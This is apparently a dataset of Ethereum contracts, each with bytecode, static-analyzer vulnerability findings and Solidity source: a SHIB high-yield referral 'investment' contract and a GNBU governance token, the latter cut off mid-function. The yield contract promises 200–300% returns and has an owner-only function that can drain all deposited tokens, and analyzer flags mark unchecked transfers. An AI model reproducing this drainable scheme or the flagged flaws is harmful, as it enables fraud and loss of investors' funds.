526020016000205461036590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b600082821115151561035957fe5b81830390505b92915050565b600080828401905083811015151561037957fe5b8091505b50929150505600a165627a7a7230582037123522bb29a84179633e7d771dc4b475d4552c605da4fa787e35848e3ea2070029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,527 |
0xac7f367d025693febacbe187a3d58abbe46d29d9
|
pragma solidity 0.5.10;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeERC20 {
using SafeMath for uint;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(isContract(address(token)), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract SmartyieldsSHIB {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address private tokenAddr = 0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE; // SHIB
IERC20 public token;
uint256[] public REFERRAL_PERCENTS = [50, 40, 30];
uint256[] public BONUS_PERCENTS = [100, 150, 200, 250, 300];
uint256 constant public TOTAL_REF = 120;
uint256 constant public CEO_FEE = 100;
uint256 constant public HOLD_BONUS = 10;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalInvested;
uint256 public totalBonus;
uint256 public INVEST_MIN_AMOUNT = 1524000 ether;
uint256 public BONUS_MIN_AMOUNT = 1524000 ether;
bool public bonusStatus = false;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 amount;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
mapping (address => mapping(uint256 => uint256)) internal userDepositBonus;
uint256 public startDate;
address payable public ceoWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 amount, uint256 time);
event Withdrawn(address indexed user, uint256 amount, uint256 time);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable ceoAddr, uint256 start) public {
require(!isContract(ceoAddr));
ceoWallet = ceoAddr;
token = IERC20(tokenAddr);
if(start>0){
startDate = start;
}
else{
startDate = block.timestamp;
}
plans.push(Plan(40, 50)); // 200%
plans.push(Plan(60, 40)); // 240%
plans.push(Plan(100, 30)); // 300%
}
function invest(address referrer, uint8 plan , uint256 amount) public {
require(block.timestamp > startDate, "contract does not launch yet");
require(amount >= INVEST_MIN_AMOUNT,"error min");
require(plan < 4, "Invalid plan");
require(amount <= token.allowance(msg.sender, address(this)) ,"Tansaction not approved");
token.safeTransferFrom(msg.sender, address(this), amount);
uint256 ceo = amount.mul(CEO_FEE).div(PERCENTS_DIVIDER);
token.safeTransfer(ceoWallet, ceo);
emit FeePayed(msg.sender, ceo);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
else{
user.referrer = ceoWallet;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 refAmount = amount.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(refAmount);
users[upline].totalBonus = users[upline].totalBonus.add(refAmount);
emit RefBonus(upline, msg.sender, i, refAmount);
upline = users[upline].referrer;
} else break;
}
}else{
uint256 refAmount = amount.mul(TOTAL_REF).div(PERCENTS_DIVIDER);
token.safeTransfer(ceoWallet, refAmount);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(plan, amount, block.timestamp));
totalInvested = totalInvested.add(amount);
emit NewDeposit(msg.sender, plan, amount, block.timestamp);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = token.balanceOf(address(this));
if (contractBalance < totalAmount) {
user.bonus = totalAmount.sub(contractBalance);
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
token.safeTransfer(msg.sender, totalAmount);
emit Withdrawn(msg.sender, totalAmount, block.timestamp);
}
function getContractBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
uint256 finish = user.deposits[i].start.add(plans[user.deposits[i].plan].time.mul(TIME_STEP));
if (user.checkpoint < finish) {
uint256 share = user.deposits[i].amount.mul(plans[user.deposits[i].plan].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = finish < block.timestamp ? finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
uint256 holdDays = (to.sub(from)).div(TIME_STEP);
if(holdDays > 0){
totalAmount = totalAmount.add(user.deposits[i].amount.mul(HOLD_BONUS.mul(holdDays)).div(PERCENTS_DIVIDER));
}
}
//end of plan
if(finish <= block.timestamp){
if(userDepositBonus[msg.sender][i] > 0){
totalAmount = totalAmount.add(user.deposits[i].amount.mul(userDepositBonus[msg.sender][i]).div(PERCENTS_DIVIDER));
}
}
}
}
return totalAmount;
}
function getUserHoldBonus(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
if(user.checkpoint > 0){
uint256 holdBonus = 0;
if (user.checkpoint < block.timestamp) {
uint256 holdDays = (block.timestamp.sub(user.checkpoint)).div(TIME_STEP);
if(holdDays > 0){
holdBonus = holdDays.mul(HOLD_BONUS);
}
}
return holdBonus;
}
else{
return 0;
}
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256[3] memory referrals) {
return (users[userAddress].levels);
}
function getUserTotalReferrals(address userAddress) public view returns(uint256) {
return users[userAddress].levels[0]+users[userAddress].levels[1]+users[userAddress].levels[2];
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = plans[plan].percent;
amount = user.deposits[index].amount;
start = user.deposits[index].start;
finish = user.deposits[index].start.add(plans[user.deposits[index].plan].time.mul(TIME_STEP));
}
function getSiteInfo() public view returns(uint256 _totalInvested, uint256 _totalRef, uint256 _totalBonus) {
return(totalInvested, totalInvested.mul(TOTAL_REF).div(PERCENTS_DIVIDER),totalBonus);
}
function getUserInfo(address userAddress) public view returns(uint256 totalDeposit, uint256 totalWithdrawn, uint256 totalReferrals) {
return(getUserTotalDeposits(userAddress), getUserTotalWithdrawn(userAddress), getUserTotalReferrals(userAddress));
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
//config
function setMinMax(uint256 minAmount, uint256 minBonus) external {
require(msg.sender == ceoWallet, "only owner");
INVEST_MIN_AMOUNT = minAmount;
BONUS_MIN_AMOUNT = minBonus;
}
function setBonusStatus(bool status) external {
require(msg.sender == ceoWallet, "only owner");
bonusStatus = status;
}
function withdrawTokens(address tokenAddr, address to) external {
require(msg.sender == ceoWallet, "only owner");
IERC20 alttoken = IERC20(tokenAddr);
alttoken.transfer(to,alttoken.balanceOf(address(this)));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
|
0x608060405234801561001057600080fd5b50600436106102325760003560e01c80637e3abeea11610130578063c43a1808116100b8578063e85abe091161007c578063e85abe0914610656578063ee688e1c1461067c578063fb4cb32b14610684578063fbfcb279146106aa578063fc0c546a146106d057610232565b8063c43a1808146105ce578063cd23b441146105eb578063d7ffca91146105f3578063e262113e14610619578063e84cdabc1461062157610232565b8063a8aeb6c2116100ff578063a8aeb6c214610504578063a8dd07dc1461052a578063aecaa63414610532578063b668ac4b1461056b578063c0806b031461057357610232565b80637e3abeea1461046e578063a0aafaa714610494578063a522ad25146104b3578063a681f950146104e157610232565b80633ccfd60b116101be5780635216aeec116101825780635216aeec146103f5578063600d20ce146103fd5780636386c1c71461041a5780636bb18556146104405780636f9fb98a1461046657610232565b80633ccfd60b1461037157806348c372031461037b5780634a64e867146103a15780634bc4e085146103c75780634ce87053146103cf57610232565b8063153ab9df11610205578063153ab9df146102dd57806329420b741461030357806332bc298c1461031f57806336144c9a14610327578063389cabee1461036957610232565b806301c234a81461023757806303a93c0c14610251578063040a772e146102af5780630b97bc86146102d5575b600080fd5b61023f6106d8565b60408051918252519081900360200190f35b6102776004803603602081101561026757600080fd5b50356001600160a01b03166106de565b6040518082606080838360005b8381101561029c578181015183820152602001610284565b5050505090500191505060405180910390f35b61023f600480360360208110156102c557600080fd5b50356001600160a01b0316610735565b61023f610a03565b61023f600480360360208110156102f357600080fd5b50356001600160a01b0316610a09565b61030b610a32565b604080519115158252519081900360200190f35b61023f610a3b565b61034d6004803603602081101561033d57600080fd5b50356001600160a01b0316610a42565b604080516001600160a01b039092168252519081900360200190f35b61034d610a63565b610379610a72565b005b61023f6004803603602081101561039157600080fd5b50356001600160a01b0316610c1d565b61023f600480360360208110156103b757600080fd5b50356001600160a01b0316610c3b565b61023f610cc3565b6103d7610cc8565b60408051938452602084019290925282820152519081900360600190f35b61023f610cf7565b61023f6004803603602081101561041357600080fd5b5035610cfd565b6103d76004803603602081101561043057600080fd5b50356001600160a01b0316610d1b565b61023f6004803603602081101561045657600080fd5b50356001600160a01b0316610d48565b61023f610d7a565b61023f6004803603602081101561048457600080fd5b50356001600160a01b0316610df6565b610379600480360360208110156104aa57600080fd5b50351515610e6e565b610379600480360360408110156104c957600080fd5b506001600160a01b0381358116916020013516610ecd565b610379600480360360408110156104f757600080fd5b5080359060200135611017565b61023f6004803603602081101561051a57600080fd5b50356001600160a01b031661106e565b61023f611089565b6105526004803603602081101561054857600080fd5b503560ff1661108f565b6040805192835260208301919091528051918290030190f35b61023f6110df565b61059f6004803603604081101561058957600080fd5b506001600160a01b0381351690602001356110e4565b6040805160ff909616865260208601949094528484019290925260608401526080830152519081900360a00190f35b61023f600480360360208110156105e457600080fd5b50356111ca565b61023f6111d7565b61023f6004803603602081101561060957600080fd5b50356001600160a01b03166111dd565b61023f6111fb565b6103796004803603606081101561063757600080fd5b506001600160a01b038135169060ff6020820135169060400135611201565b61023f6004803603602081101561066c57600080fd5b50356001600160a01b0316611851565b61023f61186f565b61023f6004803603602081101561069a57600080fd5b50356001600160a01b0316611874565b61023f600480360360208110156106c057600080fd5b50356001600160a01b0316611892565b61034d6118c0565b6103e881565b6106e6611cbc565b6001600160a01b0382166000908152600a60205260409081902081516060810192839052916003918201919082845b81548152602001906001019080831161071557505050505090505b919050565b6001600160a01b0381166000908152600a6020526040812081805b82548110156109fb5760006107e36107b462015180600987600001868154811061077657fe5b6000918252602090912060039091020154815460ff90911690811061079757fe5b60009182526020909120600290910201549063ffffffff6118cf16565b8560000184815481106107c357fe5b90600052602060002090600302016002015461192f90919063ffffffff16565b905080846001015410156109f257600061087b6103e861086f600988600001878154811061080d57fe5b6000918252602090912060039091020154815460ff90911690811061082e57fe5b90600052602060002090600202016001015488600001878154811061084f57fe5b9060005260206000209060030201600101546118cf90919063ffffffff16565b9063ffffffff61198916565b90506000856001015486600001858154811061089357fe5b906000526020600020906003020160020154116108b45785600101546108d6565b8560000184815481106108c357fe5b9060005260206000209060030201600201545b905060004284106108e757426108e9565b835b90508082101561098b5761092a61091d6201518061086f610910858763ffffffff6119f316565b879063ffffffff6118cf16565b879063ffffffff61192f16565b955060006109456201518061086f848663ffffffff6119f316565b90508015610989576109866109796103e861086f61096a600a8663ffffffff6118cf16565b8c6000018b8154811061084f57fe5b889063ffffffff61192f16565b96505b505b4284116109ee57336000908152600b60209081526040808320888452909152902054156109ee57336000908152600b6020908152604080832088845290915290205487546109eb9161091d916103e89161086f918c908b90811061084f57fe5b95505b5050505b50600101610750565b509392505050565b600c5481565b6000610a2c610a1783610735565b610a2084611851565b9063ffffffff61192f16565b92915050565b60085460ff1681565b6201518081565b6001600160a01b039081166000908152600a60205260409020600201541690565b600d546001600160a01b031681565b336000818152600a6020526040812091610a8b90610735565b90506000610a9833611851565b90508015610aba5760006006840155610ab7828263ffffffff61192f16565b91505b60008211610b07576040805162461bcd60e51b81526020600482015260156024820152745573657220686173206e6f206469766964656e647360581b604482015290519081900360640190fd5b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610b5257600080fd5b505afa158015610b66573d6000803e3d6000fd5b505050506040513d6020811015610b7c57600080fd5b5051905082811015610ba157610b98838263ffffffff6119f316565b60068501559150815b4260018501556008840154610bbc908463ffffffff61192f16565b6008850155600154610bde906001600160a01b0316338563ffffffff611a5016565b60408051848152426020820152815133927f92ccf450a286a957af52509bc1c9939d1a6a481783e142e41e2499f0bb66ebc6928290030190a250505050565b6001600160a01b03166000908152600a602052604090206007015490565b6001600160a01b0381166000908152600a60205260408120600181015415610cb3576001810154600090421115610caa576000610c8c6201518061086f8560010154426119f390919063ffffffff16565b90508015610ca857610ca581600a63ffffffff6118cf16565b91505b505b91506107309050565b6000915050610730565b50919050565b607881565b60045460009081908190610ce96103e861086f83607863ffffffff6118cf16565b600554925092509250909192565b60045481565b60028181548110610d0a57fe5b600091825260209091200154905081565b6000806000610d2984610df6565b610d3285611874565b610d3b86611892565b9250925092509193909250565b6001600160a01b0381166000908152600a602052604081206006810154600790910154610a2c9163ffffffff6119f316565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610dc557600080fd5b505afa158015610dd9573d6000803e3d6000fd5b505050506040513d6020811015610def57600080fd5b5051905090565b6000805b6001600160a01b0383166000908152600a6020526040902054811015610cbd576001600160a01b0383166000908152600a602052604090208054610e64919083908110610e4357fe5b9060005260206000209060030201600101548361192f90919063ffffffff16565b9150600101610dfa565b600d546001600160a01b03163314610eba576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b6008805460ff1916911515919091179055565b600d546001600160a01b03163314610f19576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b604080516370a0823160e01b8152306004820152905183916001600160a01b0383169163a9059cbb91859184916370a08231916024808301926020929190829003018186803b158015610f6b57600080fd5b505afa158015610f7f573d6000803e3d6000fd5b505050506040513d6020811015610f9557600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610fe657600080fd5b505af1158015610ffa573d6000803e3d6000fd5b505050506040513d602081101561101057600080fd5b5050505050565b600d546001600160a01b03163314611063576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b600691909155600755565b6001600160a01b03166000908152600a602052604090205490565b60055481565b60008060098360ff16815481106110a257fe5b906000526020600020906002020160000154915060098360ff16815481106110c657fe5b9060005260206000209060020201600101549050915091565b600a81565b6001600160a01b0382166000908152600a602052604081208054829182918291829181908890811061111257fe5b60009182526020909120600390910201546009805460ff9092169750908790811061113957fe5b906000526020600020906002020160010154945080600001878154811061115c57fe5b906000526020600020906003020160010154935080600001878154811061117f57fe5b90600052602060002090600302016002015492506111bd6111ae620151806009846000018b8154811061077657fe5b8260000189815481106107c357fe5b9150509295509295909350565b60038181548110610d0a57fe5b60075481565b6001600160a01b03166000908152600a602052604090206001015490565b60065481565b600c544211611257576040805162461bcd60e51b815260206004820152601c60248201527f636f6e747261637420646f6573206e6f74206c61756e63682079657400000000604482015290519081900360640190fd5b60065481101561129a576040805162461bcd60e51b815260206004820152600960248201526832b93937b91036b4b760b91b604482015290519081900360640190fd5b60048260ff16106112e1576040805162461bcd60e51b815260206004820152600c60248201526b24b73b30b634b210383630b760a11b604482015290519081900360640190fd5b60015460408051636eb1769f60e11b815233600482015230602482015290516001600160a01b039092169163dd62ed3e91604480820192602092909190829003018186803b15801561133257600080fd5b505afa158015611346573d6000803e3d6000fd5b505050506040513d602081101561135c57600080fd5b50518111156113b2576040805162461bcd60e51b815260206004820152601760248201527f54616e73616374696f6e206e6f7420617070726f766564000000000000000000604482015290519081900360640190fd5b6001546113d0906001600160a01b031633308463ffffffff611aa716565b60006113e96103e861086f84606463ffffffff6118cf16565b600d5460015491925061140f916001600160a01b0390811691168363ffffffff611a5016565b60408051828152905133917f2899dc8c12def1caa9accb64257cf2fd9f960f21bb27a560a757eae3c2ec43c1919081900360200190a2336000908152600a6020526040902060028101546001600160a01b03166115b1576001600160a01b0385166000908152600a60205260409020541580159061149657506001600160a01b0385163314155b156114bd576002810180546001600160a01b0319166001600160a01b0387161790556114e2565b600d546002820180546001600160a01b0319166001600160a01b039092169190911790555b60028101546001600160a01b031660005b60038110156115ae576001600160a01b038216156115a1576115516001600a6000856001600160a01b03166001600160a01b03168152602001908152602001600020600301836003811061154357fe5b01549063ffffffff61192f16565b6001600160a01b0383166000908152600a602052604090206003908101908390811061157957fe5b01556001600160a01b039182166000908152600a6020526040902060020154909116906115a6565b6115ae565b6001016114f3565b50505b60028101546001600160a01b0316156117175760028101546001600160a01b031660005b6003811015611710576001600160a01b0382161561170357600061161f6103e861086f6002858154811061160557fe5b9060005260206000200154896118cf90919063ffffffff16565b6001600160a01b0384166000908152600a602052604090206006015490915061164e908263ffffffff61192f16565b6001600160a01b0384166000908152600a60205260409020600681019190915560070154611682908263ffffffff61192f16565b6001600160a01b0384166000818152600a6020908152604091829020600701939093558051848152905185933393927fd41f7e766eebcc7ff42b11ac8691bdf864db4afc0c55e71d629d54edce460d98929081900390910190a4506001600160a01b039182166000908152600a602052604090206002015490911690611708565b611710565b6001016115d5565b5050611758565b60006117306103e861086f86607863ffffffff6118cf16565b600d54600154919250611756916001600160a01b0390811691168363ffffffff611a5016565b505b8054611798574260018201556040805133815290517f9fd565cd14c3c391679eb0cad12a14dcf7534e9d3462bcb9b67a098a9bbbc24a9181900360200190a15b6040805160608101825260ff868116825260208083018781524294840194855285546001808201885560008881529390932094516003909102909401805460ff1916949093169390931782559151918101919091559051600290910155600454611802908461192f565b6004556040805160ff86168152602081018590524281830152905133917f5998f12fe9332603ffeda0abbc2ea68418dfad46909149aa0f4fcbd1d8f7c620919081900360600190a25050505050565b6001600160a01b03166000908152600a602052604090206006015490565b606481565b6001600160a01b03166000908152600a602052604090206008015490565b6001600160a01b03166000908152600a60205260409020600581015460048201546003909201549091010190565b6001546001600160a01b031681565b6000826118de57506000610a2c565b828202828482816118eb57fe5b04146119285760405162461bcd60e51b8152600401808060200182810382526021815260200180611cdb6021913960400191505060405180910390fd5b9392505050565b600082820183811015611928576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008082116119df576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b60008284816119ea57fe5b04949350505050565b600082821115611a4a576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611aa2908490611b07565b505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611b01908590611b07565b50505050565b611b1082611cb6565b611b61576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310611b9f5780518252601f199092019160209182019101611b80565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611c01576040519150601f19603f3d011682016040523d82523d6000602084013e611c06565b606091505b509150915081611c5d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611b0157808060200190516020811015611c7957600080fd5b5051611b015760405162461bcd60e51b815260040180806020018281038252602a815260200180611cfc602a913960400191505060405180910390fd5b3b151590565b6040518060600160405280600390602082028038833950919291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723058200dfec1455b0fd36de368c6d523e4a8f589ee9c8cf1eeba9910510efa587f367964736f6c634300050a0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,528 |
0xce0af8e766de11067c033c4a8916462d2ced758e
|
pragma solidity =0.8.0;
// ----------------------------------------------------------------------------
// GNBU token main contract (2021)
//
// Symbol : GNBU
// Name : Nimbus Governance Token
// Total supply : 100.000.000 (burnable)
// Decimals : 18
// ----------------------------------------------------------------------------
// SPDX-License-Identifier: MIT
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address tokenOwner) external view returns (uint balance);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) public onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract GNBU is Ownable, Pausable {
string public constant name = "Nimbus Governance Token";
string public constant symbol = "GNBU";
uint8 public constant decimals = 18;
uint96 public totalSupply = 100_000_000e18; // 100 million GNBU
mapping (address => mapping (address => uint96)) internal allowances;
mapping (address => uint96) private _unfrozenBalances;
mapping (address => uint32) private _vestingNonces;
mapping (address => mapping (uint32 => uint96)) private _vestingAmounts;
mapping (address => mapping (uint32 => uint96)) private _unvestedAmounts;
mapping (address => mapping (uint32 => uint)) private _vestingReleaseStartDates;
mapping (address => bool) public vesters;
uint96 private vestingFirstPeriod = 60 days;
uint96 private vestingSecondPeriod = 152 days;
address[] public supportUnits;
uint public supportUnitsCnt;
mapping (address => address) public delegates;
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
mapping (address => uint) public nonces;
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Unvest(address user, uint amount);
constructor() {
_unfrozenBalances[owner] = uint96(totalSupply);
emit Transfer(address(0), owner, totalSupply);
}
function freeCirculation() external view returns (uint) {
uint96 systemAmount = _unfrozenBalances[owner];
for (uint i; i < supportUnits.length; i++) {
systemAmount = add96(systemAmount, _unfrozenBalances[supportUnits[i]], "GNBU::freeCirculation: adding overflow");
}
return sub96(totalSupply, systemAmount, "GNBU::freeCirculation: amount exceed totalSupply");
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external whenNotPaused returns (bool) {
uint96 amount;
if (rawAmount == uint(2 ** 256 - 1)) {
amount = uint96(2 ** 96 - 1);
} else {
amount = safe96(rawAmount, "GNBU::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external whenNotPaused {
uint96 amount;
if (rawAmount == uint(2 ** 256 - 1)) {
amount = uint96(2 ** 96 - 1);
} else {
amount = safe96(rawAmount, "GNBU::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GNBU::permit: invalid signature");
require(signatory == owner, "GNBU::permit: unauthorized");
require(block.timestamp <= deadline, "GNBU::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) public view returns (uint) {
uint96 amount = _unfrozenBalances[account];
if (_vestingNonces[account] == 0) return amount;
for (uint32 i = 1; i <= _vestingNonces[account]; i++) {
uint96 unvested = sub96(_vestingAmounts[account][i], _unvestedAmounts[account][i], "GNBU::balanceOf: unvested exceed vested amount");
